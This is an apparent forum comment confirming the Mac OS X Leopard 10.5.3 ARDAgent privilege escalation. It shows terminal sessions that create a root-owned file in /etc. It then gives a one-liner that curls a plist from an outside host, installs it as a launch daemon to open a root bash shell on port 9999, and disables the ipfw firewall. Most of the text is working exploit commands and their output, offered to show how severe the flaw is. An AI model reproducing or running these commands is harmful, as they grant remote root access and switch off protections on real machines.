Disconfirmed – I don’t have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16 /etc/somefile
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm /etc/somefile"'
dan@Geelong:~$ ls -lh /etc/somefile
ls: /etc/somefile: No such file or directory
So, how dangerous is this? Here’s an example:
osascript -e ‘tell app “ARDAgent” to do shell script “cd
/System/Library/LaunchDaemons ; curl -o bash.plist
http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl “‘
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can ‘nc localhost 9999′ and find yourself at a root shell.
To remove, run ‘launchctl unload com.apple.bash’ ‘launchctl unload /System/Library/LaunchDaemons/bash.plist’ and then ‘rm /System/Library/LaunchDaemons/bash.plist’
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that’s easily bypassed with a Python script.
So yeah;
anything can be downloaded, and anything can be done with it. Scary.
